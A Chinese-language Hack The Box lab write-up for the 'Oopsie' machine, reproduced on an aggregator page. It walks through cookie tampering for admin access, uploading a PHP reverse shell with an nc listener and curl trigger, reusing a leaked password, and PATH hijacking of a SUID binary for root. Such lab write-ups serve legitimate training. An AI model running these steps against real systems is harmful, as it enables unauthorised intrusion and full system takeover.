当前位置: 首页 > news >正文

HTB——Oopsie

大概流程:

端口扫描 --> js接口提取 --> 垂直越权 --> 文件上传GetShell --> SUID提权

1、端口扫描

nmap --top-ports 100 10.129.29.193

2、js接口提取

查看网络源代码,发现登录接口/cdn-cgi/login

3、cookie伪造

将role改为admin,且url上的id改为1,得到admin的Access ID,接着将得到的Access ID替换原来的user的value值,实现垂直越权

4、文件上传Getshell

上传一个反弹shell的木马php文件,ip地址改成自己的vpn地址,端口改成9999

攻击者:

nc -lvnp 9999

curl http://10.129.29.193/uploads/reverse.php //向目标服务器发送HTTPB GET请求

CURL:是一个命令行工具和库,用于使用各种网络协议传输数据

5、横向移动

在/var/www/html/cdn-cgi/login/目录下发现robert的密码M3g4C0rpUs3r!,尝试切换用户

切换交互式shell(以下任意一条命令):

SHELL=/bin/bash script -q /dev/null

python3 -c 'import pty;pty.spawn("/bin/bash")'

非交互式shell:将目标机的命令输入/输出通过网络管道重定向到攻击机,没有伪终端,很多操作命令无法实现

交互式shell:有伪终端,支持有关操作命令,如su/sudo

查看当前用户和所属组的身份信息:id

发现robert用户归属于bugtracker用户组

查看当前用户和所属组的身份信息:id

发现robert用户归属于bugtracker用户组

示例:

$ id

uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom)

uid (User ID):用户ID号及用户名

id (Group ID):主组ID号及组名

groups:用户所属的所有组

接着输入以下命令:

find / -type f -group bugtracker 2>/dev/null //-type f 为查找普通文档,-group bugtracker限定查找的组为bugtracker,2>/dev/null将错误输出到黑洞(不显示)

ls -al /usr/bin/bugtracker //-al 以长格式方式显示并且显示隐藏文件

6、SUID提权

当一个文件被设置了SUID位时,任何执行该文件的用户都将以文件所有者的权限执行程序,而不是以执行者的权限执行

文件所有者权限指的是文件或目录的创建者(拥有者)对该文件所具有的操作权限

查看二进制文件中的字符串

strings /usr/bin/bugtracker

从运行结果来看,bugtracker调用了cat,且为绝对路径

利用PATH环境变量劫持cat

export PATH=/tmp:$PATH //修改PATH环境变量,将/tmp目录置于最前

cd /tmp/ //切换到/tmp目录下

echo '/bin/sh' > cat //创建名为cat的文件,内容为/bin/sh,

创建了一个脚本,执行时会启动一个shell,由于bugtracker有root权限(通常通过setuid),所以获得root shell

chmod +x cat //赋予执行权限

bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令,

运行/usr/bin/bugtracker:此时robert用户临时具有了root权限,执行id命令发现只是robert用户的uid变为了root,不是真正的root用户

http://www.jsqmd.com/news/594999/

相关文章:

  • Java SpringBoot+Vue3+MyBatis Web在线考试系统系统源码|前后端分离+MySQL数据库
  • 我的CSDN第一篇
  • OpenClaw+千问3.5-35B-A3B-FP8:自动化商品描述生成器
  • TimeGPT新手必看:5分钟搞定token获取与AirPassengers数据集预测实战
  • OpenClaw性能优化:Qwen3-14B镜像的并发请求控制策略
  • Unity2018中SpriteAtlas与AB包的高效集成实践
  • c++如何利用C++23的std--expected重构文件操作的错误管理代码【实战】
  • 自动化数据清洗:OpenClaw调用千问3.5-9B处理混乱CSV文件
  • STM32F103C8T6 RAM不够用?手把手教你用CAN总线实现边收边写的IAP升级(附完整代码)
  • Unity游戏开发:Highlight Plus 8.0在URP渲染管线下的完整配置指南(含常见问题解决)
  • OpenClaw离线模式探索:Qwen3-14b_int4_awq断网环境下的应急方案
  • OpenClaw日志分析自动化:Qwen3-14b_int4_awq模型驱动的问题排查
  • SEO 对于SaaS产品销售有什么影响
  • 电商运营自动化:OpenClaw驱动千问3.5-27B批量生成商品描述
  • TFT_eSPI_Charts嵌入式图表库:轻量级实时可视化方案
  • Agent、Copilot、Advisor
  • 从无人机抗风到机械臂消振:聊聊ESO(扩张状态观测器)在机器人里的那些实战用法
  • 2026年比较好的易打理进口地板/抗菌进口地板稳定供货厂家推荐 - 品牌宣传支持者
  • OpenClaw高阶用法:Qwen3-14B模型的热切换与A/B测试
  • OpenClaw多模型切换指南:百川2-13B-4bits与Qwen3-32B混合调用
  • 基于SpringBoot + Vue的医院患者就诊数据可视化分析系统(角色:患者、医生、管理员)
  • OpenClaw智能旅行规划:千问3.5-35B-A3B-FP8解析景点照片生成个性化行程表
  • OpenClaw浏览器自动化:Qwen3-4B驱动网页检索与内容抓取
  • SQL复杂报表如何通过窗口函数优化_减少子查询提升性能
  • Unity 2018 + Facebook SDK 7.15.1避坑指南:从崩溃解决到完整功能实现
  • 极简配置:OpenClaw快速接入Phi-3-mini-128k-instruct的HTTP接口
  • OpenClaw故障排查大全:Qwen3.5-9B镜像对接7类报错解决
  • C语言自学必看:最经典C语言书推荐
  • 2026年比较好的通过式抛丸机/辊道通过式抛丸机优质供应商推荐 - 品牌宣传支持者
  • ns-3.43环境搭建避坑实录:从依赖冲突到‘first.cc’成功运行的完整排错指南